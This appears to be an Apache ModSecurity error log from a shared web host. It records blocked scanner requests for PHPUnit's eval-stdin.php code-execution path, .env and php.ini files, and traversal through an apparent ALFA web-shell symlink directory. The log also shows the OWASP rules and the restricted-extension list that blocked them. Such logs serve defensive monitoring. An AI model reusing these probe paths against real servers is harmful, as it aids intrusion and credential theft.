[Tue Oct 27 01:45:02.183126 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/ws/ec/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auA6Xtu7k0W31xV3RUIMuAAAAAw"]
[Tue Oct 27 01:45:02.358653 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/V2/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auA6Xtu7k0W31xV3RUIMuQAAAAw"]
[Tue Oct 27 01:45:02.359273 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/V2/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auA6Xtu7k0W31xV3RUIMuQAAAAw"]
[Tue Oct 27 01:45:02.359738 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/V2/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auA6Xtu7k0W31xV3RUIMuQAAAAw"]
[Tue Oct 27 01:45:02.559328 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/tests/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auA6Xtu7k0W31xV3RUIMugAAAAw"]
[Tue Oct 27 01:45:02.559755 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/tests/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auA6Xtu7k0W31xV3RUIMugAAAAw"]
[Tue Oct 27 01:45:02.560090 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/tests/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auA6Xtu7k0W31xV3RUIMugAAAAw"]
[Tue Oct 27 01:45:02.764552 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/test/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auA6Xtu7k0W31xV3RUIMuwAAAAw"]
[Tue Oct 27 01:45:02.764991 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/test/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auA6Xtu7k0W31xV3RUIMuwAAAAw"]
[Tue Oct 27 01:45:02.765333 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/test/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auA6Xtu7k0W31xV3RUIMuwAAAAw"]
[Tue Oct 27 01:45:02.938359 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/testing/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auA6Xtu7k0W31xV3RUIMvAAAAAw"]
[Tue Oct 27 01:45:02.938793 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/testing/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auA6Xtu7k0W31xV3RUIMvAAAAAw"]
[Tue Oct 27 01:45:02.939152 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/testing/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auA6Xtu7k0W31xV3RUIMvAAAAAw"]
[Tue Oct 27 01:45:03.112237 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "64.20.54.226"] [uri "/api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auA6X9u7k0W31xV3RUIMvQAAAAw"]
[Tue Oct 27 01:45:03.112671 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auA6X9u7k0W31xV3RUIMvQAAAAw"]
[Tue Oct 27 01:45:03.113009 2026] [security2:error] [pid 3168752:tid 3168752] [client 89.126.211.166:35208] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "auA6X9u7k0W31xV3RUIMvQAAAAw"]
[Tue Oct 27 01:45:12.681627 2026] [authz_core:error] [pid 3164823:tid 3164823] [client 203.83.11.13:48410] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 01:45:14.282580 2026] [ssl:error] [pid 3171492:tid 3171492] (70014)End of file found: [client 44.216.172.204:27595] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:45:22.152160 2026] [ssl:error] [pid 3157820:tid 3157820] (70014)End of file found: [client 23.21.119.232:51891] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:45:24.805310 2026] [authz_core:error] [pid 3165579:tid 3165579] [client 130.12.180.165:43578] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 01:45:30.199857 2026] [ssl:error] [pid 3169915:tid 3169915] (70014)End of file found: [client 3.217.171.106:30567] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:45:34.175966 2026] [ssl:error] [pid 3163247:tid 3163247] (70014)End of file found: [client 34.203.111.15:15078] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:45:50.397705 2026] [ssl:error] [pid 3163247:tid 3163247] (70014)End of file found: [client 54.235.191.179:45921] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:45:59.336369 2026] [security2:error] [pid 3147513:tid 3147513] [client 45.43.62.50:58163] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env"] [unique_id "auA6l8qawth2HP9RxtL-7gAAAAY"]
[Tue Oct 27 01:45:59.336609 2026] [security2:error] [pid 3147513:tid 3147513] [client 45.43.62.50:58163] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env"] [unique_id "auA6l8qawth2HP9RxtL-7gAAAAY"]
[Tue Oct 27 01:45:59.336938 2026] [security2:error] [pid 3147513:tid 3147513] [client 45.43.62.50:58163] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env"] [unique_id "auA6l8qawth2HP9RxtL-7gAAAAY"]
[Tue Oct 27 01:45:59.974648 2026] [security2:error] [pid 3163247:tid 3163247] [client 45.43.62.50:58197] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env"] [unique_id "auA6l8kspihs1DaBim1vTgAAAAE"]
[Tue Oct 27 01:45:59.974895 2026] [security2:error] [pid 3163247:tid 3163247] [client 45.43.62.50:58197] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env"] [unique_id "auA6l8kspihs1DaBim1vTgAAAAE"]
[Tue Oct 27 01:45:59.975246 2026] [security2:error] [pid 3163247:tid 3163247] [client 45.43.62.50:58197] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env"] [unique_id "auA6l8kspihs1DaBim1vTgAAAAE"]
[Tue Oct 27 01:46:02.394502 2026] [ssl:error] [pid 3169065:tid 3169065] (70014)End of file found: [client 34.231.118.144:32469] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:46:06.544258 2026] [ssl:error] [pid 3170301:tid 3170301] (70014)End of file found: [client 44.194.139.149:64563] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:46:07.007280 2026] [authz_core:error] [pid 3171484:tid 3171484] [client 196.117.16.118:59349] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 01:46:14.314172 2026] [core:error] [pid 3169915:tid 3169915] (13)Permission denied: [client 44.205.192.249:21642] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty32/subsystem/ttyS0/device/subsystem/drivers/dw-apb-uart/uevent
[Tue Oct 27 01:46:26.192855 2026] [ssl:error] [pid 3164823:tid 3164823] (70014)End of file found: [client 100.24.149.244:10700] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:46:38.709798 2026] [ssl:error] [pid 3169065:tid 3169065] (5)Input/output error: [client 54.83.240.58:35357] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:46:46.172469 2026] [ssl:error] [pid 3164823:tid 3164823] (70014)End of file found: [client 50.16.248.61:65122] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:46:58.173321 2026] [ssl:error] [pid 3171492:tid 3171492] (70014)End of file found: [client 35.171.117.160:38171] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:47:02.365129 2026] [ssl:error] [pid 3164823:tid 3164823] (70014)End of file found: [client 34.202.88.37:11549] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:47:10.184326 2026] [core:error] [pid 3165078:tid 3165078] (13)Permission denied: [client 54.225.148.123:37586] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/tty5/subsystem/tty14/subsystem/ttyS1/iomem_reg_shift
[Tue Oct 27 01:47:18.154229 2026] [ssl:error] [pid 3169065:tid 3169065] (70014)End of file found: [client 34.203.111.15:6245] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:47:22.170984 2026] [ssl:error] [pid 3165078:tid 3165078] (70014)End of file found: [client 18.213.240.226:20979] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:47:25.668071 2026] [ssl:error] [pid 3163247:tid 3163247] (70014)End of file found: [client 185.191.171.17:33276] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:47:42.163863 2026] [ssl:error] [pid 3163247:tid 3163247] (70014)End of file found: [client 34.194.226.74:55237] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:47:58.162052 2026] [ssl:error] [pid 3165579:tid 3165579] (70014)End of file found: [client 52.202.233.37:3896] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:48:13.996745 2026] [core:crit] [pid 3165078:tid 3165078] (13)Permission denied: [client 216.244.66.250:41194] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/boot/loader/entries/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/boot/loader/entries/' is executable
[Tue Oct 27 01:48:19.958712 2026] [core:crit] [pid 3164823:tid 3164823] (13)Permission denied: [client 216.244.66.250:52228] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/685/fd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/685/fd/' is executable
[Tue Oct 27 01:48:19.958771 2026] [core:crit] [pid 3164823:tid 3164823] (13)Permission denied: [client 216.244.66.250:52228] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/685/map_files/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/685/map_files/' is executable
[Tue Oct 27 01:48:19.958787 2026] [core:crit] [pid 3164823:tid 3164823] (13)Permission denied: [client 216.244.66.250:52228] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/685/fdinfo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/685/fdinfo/' is executable
[Tue Oct 27 01:48:22.489243 2026] [core:error] [pid 3163247:tid 3163247] (13)Permission denied: [client 54.235.191.179:17571] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/PNP0400:00/subsystem/devices/PNP0A03:00/device:05/physical_node/driver/0000:00:05.0/rescan
[Tue Oct 27 01:48:25.687325 2026] [authz_core:error] [pid 3169065:tid 3169065] [client 172.236.254.181:62838] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 01:48:30.258330 2026] [ssl:error] [pid 3163247:tid 3163247] (70014)End of file found: [client 3.215.59.93:20993] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:48:42.173858 2026] [ssl:error] [pid 3169840:tid 3169840] (70014)End of file found: [client 54.167.32.123:41891] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:48:58.340563 2026] [ssl:error] [pid 3165078:tid 3165078] (70014)End of file found: [client 54.85.109.140:9331] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:48:58.340793 2026] [security2:error] [pid 3165078:tid 3165078] [client 54.85.109.140:9331] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/input0/event0/subsystem/input3/device/subsystem/devices/serio1/power/runtime_active_time"] [unique_id "auA7SuDxeK-aqIxlyYw4FgAAAAM"]
[Tue Oct 27 01:48:58.340831 2026] [security2:error] [pid 3165078:tid 3165078] [client 54.85.109.140:9331] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/input0/event0/subsystem/input3/device/subsystem/devices/serio1/power/runtime_active_time"] [unique_id "auA7SuDxeK-aqIxlyYw4FgAAAAM"]
[Tue Oct 27 01:49:14.214817 2026] [core:error] [pid 3170301:tid 3170301] (13)Permission denied: [client 54.90.8.255:38755] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory20/node0/cpu0/firmware_node/physical_node/subsystem/drivers/processor/cpu0/driver/unbind
[Tue Oct 27 01:49:22.159296 2026] [ssl:error] [pid 3171492:tid 3171492] (70014)End of file found: [client 35.173.18.61:31658] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:49:30.264390 2026] [ssl:error] [pid 3147513:tid 3147513] (70014)End of file found: [client 3.212.219.113:50734] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:49:54.249429 2026] [ssl:error] [pid 3165078:tid 3165078] (70014)End of file found: [client 54.144.185.255:40593] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:50:02.168334 2026] [ssl:error] [pid 3167840:tid 3167840] (70014)End of file found: [client 52.4.229.9:52376] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:50:26.329442 2026] [security2:error] [pid 3169915:tid 3169915] [client 52.6.97.88:7634] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/ACPI0010:00/LNXCPU:00/physical_node/node0/memory20/node0/cpu1/cache/index0/"] [unique_id "auA7omMfptYfS3IdlHNWnQAAAAc"]
[Tue Oct 27 01:50:26.329508 2026] [security2:error] [pid 3169915:tid 3169915] [client 52.6.97.88:7634] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/ACPI0010:00/LNXCPU:00/physical_node/node0/memory20/node0/cpu1/cache/index0/"] [unique_id "auA7omMfptYfS3IdlHNWnQAAAAc"]
[Tue Oct 27 01:50:30.234003 2026] [ssl:error] [pid 3164823:tid 3164823] (70014)End of file found: [client 52.203.152.231:60210] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:50:42.147295 2026] [ssl:error] [pid 3169065:tid 3169065] (70014)End of file found: [client 34.231.77.232:16031] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:50:46.264462 2026] [ssl:error] [pid 3171484:tid 3171484] (70014)End of file found: [client 52.0.41.164:51644] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:50:52.677723 2026] [ssl:error] [pid 3169065:tid 3169065] (70014)End of file found: [client 85.208.96.197:42550] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:50:54.300815 2026] [ssl:error] [pid 3163247:tid 3163247] (70014)End of file found: [client 85.208.96.200:15110] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 01:51:08.323474 2026] [security2:error] [pid 3170301:tid 3170301] [client 216.244.66.250:43366] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/krb5.conf"] [unique_id "auA7zA67030o4-ZAUjLp5gAAAAg"]
[Tue Oct 27 01:51:08.324050 2026] [security2:error] [pid 3170301:tid 3170301] [client 216.244.66.250:43366] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/krb5.conf"] [unique_id "auA7zA67030o4-ZAUjLp5gAAAAg"]
